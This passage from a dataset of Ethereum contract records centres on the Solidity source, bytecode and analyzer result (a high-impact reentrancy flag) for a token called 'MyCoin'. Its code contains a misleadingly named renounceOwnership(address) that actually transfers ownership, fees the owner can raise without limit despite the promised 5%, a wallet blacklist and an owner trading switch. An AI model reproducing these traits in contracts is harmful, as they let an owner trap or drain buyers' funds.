0190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ab7f24c3220b3d0e981374310eaecba9d867473b836987af66bcaf02ed94847664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,423 |
0xd38c81f27def33d96b0fdd54363bb88f4b01d94c
|
// SPDX-License-Identifier: UNLICENSED
/*
███╗░░░███╗██╗░░░██╗░█████╗░░█████╗░██╗███╗░░██╗
████╗░████║╚██╗░██╔╝██╔══██╗██╔══██╗██║████╗░██║
██╔████╔██║░╚████╔╝░██║░░╚═╝██║░░██║██║██╔██╗██║
██║╚██╔╝██║░░╚██╔╝░░██║░░██╗██║░░██║██║██║╚████║
██║░╚═╝░██║░░░██║░░░╚█████╔╝╚█████╔╝██║██║░╚███║
╚═╝░░░░░╚═╝░░░╚═╝░░░░╚════╝░░╚════╝░╚═╝╚═╝░░╚══╝
MyCoin is an innovative platform centered around smart contract creation
The average crypto currency user does not know how to work their way around smart contracts, and we have made it easier than ever
Our mission at MyCoin is to change the crypto space with helping the average user have the ability to create their own smart contracts in any way they desire
In the future, MyCoin plans on integrating ERC721 contract creation, allowing users to make their own NFT collection
Our platform is planned to go live within 7 days of MyCoin's launch
We the developer team at MyCoin do not seek to profit off of MyCoin but would rather be charging fixed fees off MyCoin's platform from smart contract creation
We plan on integrating rewards for our top holders in the future
Our supply will consist of 10,000,000 tokens, which will all be added to liquidity upon launch
We will have a 5% buy and sell fee to fund MyCoin's marketing
TOKEN DISTRIBUTION
Fixed Supply: 10,000,000
100% supply into liquidity upon launch
TOKENOMICS
Buy: 5% Marketing fee
Sell: 5% Marketing fee
Max Transaction: 100,000
Max Wallet: 300,000
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function renounceOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MyCoin is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "MyCoin";//////////////////////////
string private constant _symbol = "MyCoin";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 0;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xDfD87B140D74902fa007B75c6AabCBe69A09F6ac);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0xDfD87B140D74902fa007B75c6AabCBe69A09F6ac);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 300000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063c3c8cd8011610064578063c3c8cd80146104f3578063c492f04614610508578063dd62ed3e14610528578063ea1644d51461056e57600080fd5b806398a5c31514610463578063a2a957bb14610483578063a9059cbb146104a3578063bfd79284146104c357600080fd5b80638da5cb5b116100d15780638da5cb5b1461040f5780638f70ccf71461042d5780638f9a55c01461044d57806395d89b41146101f357600080fd5b8063715018a6146103c457806374010ece146103d95780637d1db4a5146103f957600080fd5b8063313ce567116101645780636b9990531161013e5780636b9990531461034f5780636d8aa8f81461036f5780636fc3eaec1461038f57806370a08231146103a457600080fd5b8063313ce567146102f357806338bf3cfa1461030f57806349bd5a5e1461032f57600080fd5b80631694505e116101a05780631694505e1461026157806318160ddd1461029957806323b872dd146102bd5780632fd689e3146102dd57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023157600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab2565b61058e565b005b3480156101ff57600080fd5b50604080518082018252600681526526bca1b7b4b760d11b602082015290516102289190611bdc565b60405180910390f35b34801561023d57600080fd5b5061025161024c366004611a08565b61063b565b6040519015158152602001610228565b34801561026d57600080fd5b50601454610281906001600160a01b031681565b6040516001600160a01b039091168152602001610228565b3480156102a557600080fd5b50662386f26fc100005b604051908152602001610228565b3480156102c957600080fd5b506102516102d83660046119c8565b610652565b3480156102e957600080fd5b506102af60185481565b3480156102ff57600080fd5b5060405160098152602001610228565b34801561031b57600080fd5b506101f161032a366004611958565b6106bb565b34801561033b57600080fd5b50601554610281906001600160a01b031681565b34801561035b57600080fd5b506101f161036a366004611958565b6107a5565b34801561037b57600080fd5b506101f161038a366004611b79565b6107f0565b34801561039b57600080fd5b506101f1610838565b3480156103b057600080fd5b506102af6103bf366004611958565b610883565b3480156103d057600080fd5b506101f16108a5565b3480156103e557600080fd5b506101f16103f4366004611b93565b610919565b34801561040557600080fd5b506102af60165481565b34801561041b57600080fd5b506000546001600160a01b0316610281565b34801561043957600080fd5b506101f1610448366004611b79565b610948565b34801561045957600080fd5b506102af60175481565b34801561046f57600080fd5b506101f161047e366004611b93565b610990565b34801561048f57600080fd5b506101f161049e366004611bab565b6109bf565b3480156104af57600080fd5b506102516104be366004611a08565b6109fd565b3480156104cf57600080fd5b506102516104de366004611958565b60106020526000908152604090205460ff1681565b3480156104ff57600080fd5b506101f1610a0a565b34801561051457600080fd5b506101f1610523366004611a33565b610a5e565b34801561053457600080fd5b506102af610543366004611990565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057a57600080fd5b506101f1610589366004611b93565b610b0d565b6000546001600160a01b031633146105c15760405162461bcd60e51b81526004016105b890611c2f565b60405180910390fd5b60005b8151811015610637576001601060008484815181106105f357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062f81611d42565b9150506105c4565b5050565b6000610648338484610b3c565b5060015b92915050565b600061065f848484610c60565b6106b184336106ac85604051806060016040528060288152602001611d9f602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061119c565b610b3c565b5060019392505050565b6000546001600160a01b031633146106e55760405162461bcd60e51b81526004016105b890611c2f565b6001600160a01b03811661074a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107cf5760405162461bcd60e51b81526004016105b890611c2f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461081a5760405162461bcd60e51b81526004016105b890611c2f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061086d57506013546001600160a01b0316336001600160a01b0316145b61087657600080fd5b47610880816111d6565b50565b6001600160a01b03811660009081526002602052604081205461064c9061125b565b6000546001600160a01b031633146108cf5760405162461bcd60e51b81526004016105b890611c2f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109435760405162461bcd60e51b81526004016105b890611c2f565b601655565b6000546001600160a01b031633146109725760405162461bcd60e51b81526004016105b890611c2f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109ba5760405162461bcd60e51b81526004016105b890611c2f565b601855565b6000546001600160a01b031633146109e95760405162461bcd60e51b81526004016105b890611c2f565b600893909355600a91909155600955600b55565b6000610648338484610c60565b6012546001600160a01b0316336001600160a01b03161480610a3f57506013546001600160a01b0316336001600160a01b0316145b610a4857600080fd5b6000610a5330610883565b9050610880816112df565b6000546001600160a01b03163314610a885760405162461bcd60e51b81526004016105b890611c2f565b60005b82811015610b07578160056000868685818110610ab857634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610acd9190611958565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610aff81611d42565b915050610a8b565b50505050565b6000546001600160a01b03163314610b375760405162461bcd60e51b81526004016105b890611c2f565b601755565b6001600160a01b038316610b9e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b8565b6001600160a01b038216610bff5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b8565b6001600160a01b038216610d265760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b8565b60008111610d885760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b8565b6000546001600160a01b03848116911614801590610db457506000546001600160a01b03838116911614155b1561109557601554600160a01b900460ff16610e4d576000546001600160a01b03848116911614610e4d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105b8565b601654811115610e9f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105b8565b6001600160a01b03831660009081526010602052604090205460ff16158015610ee157506001600160a01b03821660009081526010602052604090205460ff16155b610f395760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105b8565b6015546001600160a01b03838116911614610fbe5760175481610f5b84610883565b610f659190611cd4565b10610fbe5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105b8565b6000610fc930610883565b601854601654919250821015908210610fe25760165491505b808015610ff95750601554600160a81b900460ff16155b801561101357506015546001600160a01b03868116911614155b80156110285750601554600160b01b900460ff165b801561104d57506001600160a01b03851660009081526005602052604090205460ff16155b801561107257506001600160a01b03841660009081526005602052604090205460ff16155b1561109257611080826112df565b47801561109057611090476111d6565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110d757506001600160a01b03831660009081526005602052604090205460ff165b8061110957506015546001600160a01b0385811691161480159061110957506015546001600160a01b03848116911614155b1561111657506000611190565b6015546001600160a01b03858116911614801561114157506014546001600160a01b03848116911614155b1561115357600854600c55600954600d555b6015546001600160a01b03848116911614801561117e57506014546001600160a01b03858116911614155b1561119057600a54600c55600b54600d555b610b0784848484611484565b600081848411156111c05760405162461bcd60e51b81526004016105b89190611bdc565b5060006111cd8486611d2b565b95945050505050565b6012546001600160a01b03166108fc6111f08360026114b2565b6040518115909202916000818181858888f19350505050158015611218573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112338360026114b2565b6040518115909202916000818181858888f19350505050158015610637573d6000803e3d6000fd5b60006006548211156112c25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105b8565b60006112cc6114f4565b90506112d883826114b2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c19190611974565b816001815181106113e257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114089130911684610b3c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611441908590600090869030904290600401611c64565b600060405180830381600087803b15801561145b57600080fd5b505af115801561146f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061149157611491611517565b61149c848484611545565b80610b0757610b07600e54600c55600f54600d55565b60006112d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163c565b600080600061150161166a565b909250905061151082826114b2565b9250505090565b600c541580156115275750600d54155b1561152e57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611557876116a8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115899087611705565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b89086611747565b6001600160a01b0389166000908152600260205260409020556115da816117a6565b6115e484836117f0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162991815260200190565b60405180910390a3505050505050505050565b6000818361165d5760405162461bcd60e51b81526004016105b89190611bdc565b5060006111cd8486611cec565b6006546000908190662386f26fc1000061168482826114b2565b82101561169f57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c58a600c54600d54611814565b92509250925060006116d56114f4565b905060008060006116e88e878787611869565b919e509c509a509598509396509194505050505091939550919395565b60006112d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061119c565b6000806117548385611cd4565b9050838110156112d85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b8565b60006117b06114f4565b905060006117be83836118b9565b306000908152600260205260409020549091506117db9082611747565b30600090815260026020526040902055505050565b6006546117fd9083611705565b60065560075461180d9082611747565b6007555050565b600080808061182e606461182889896118b9565b906114b2565b9050600061184160646118288a896118b9565b90506000611859826118538b86611705565b90611705565b9992985090965090945050505050565b600080808061187888866118b9565b9050600061188688876118b9565b9050600061189488886118b9565b905060006118a6826118538686611705565b939b939a50919850919650505050505050565b6000826118c85750600061064c565b60006118d48385611d0c565b9050826118e18583611cec565b146112d85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b8565b803561194381611d89565b919050565b8035801515811461194357600080fd5b600060208284031215611969578081fd5b81356112d881611d89565b600060208284031215611985578081fd5b81516112d881611d89565b600080604083850312156119a2578081fd5b82356119ad81611d89565b915060208301356119bd81611d89565b809150509250929050565b6000806000606084860312156119dc578081fd5b83356119e781611d89565b925060208401356119f781611d89565b929592945050506040919091013590565b60008060408385031215611a1a578182fd5b8235611a2581611d89565b946020939093013593505050565b600080600060408486031215611a47578283fd5b833567ffffffffffffffff80821115611a5e578485fd5b818601915086601f830112611a71578485fd5b813581811115611a7f578586fd5b8760208260051b8501011115611a93578586fd5b602092830195509350611aa99186019050611948565b90509250925092565b60006020808385031215611ac4578182fd5b823567ffffffffffffffff80821115611adb578384fd5b818501915085601f830112611aee578384fd5b813581811115611b0057611b00611d73565b8060051b604051601f19603f83011681018181108582111715611b2557611b25611d73565b604052828152858101935084860182860187018a1015611b43578788fd5b8795505b83861015611b6c57611b5881611938565b855260019590950194938601938601611b47565b5098975050505050505050565b600060208284031215611b8a578081fd5b6112d882611948565b600060208284031215611ba4578081fd5b5035919050565b60008060008060808587031215611bc0578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c0857858101830151858201604001528201611bec565b81811115611c195783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb35784516001600160a01b031683529383019391830191600101611c8e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ce757611ce7611d5d565b500190565b600082611d0757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2657611d26611d5d565b500290565b600082821015611d3d57611d3d611d5d565b500390565b6000600019821415611d5657611d56611d5d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202145c8c49e4e44bec196296957f1590b682d25baf50eee603361c053c470e92764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,424 |
0x852c12A0682197A9a918E224A4DDDA7877A29DaD
|
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
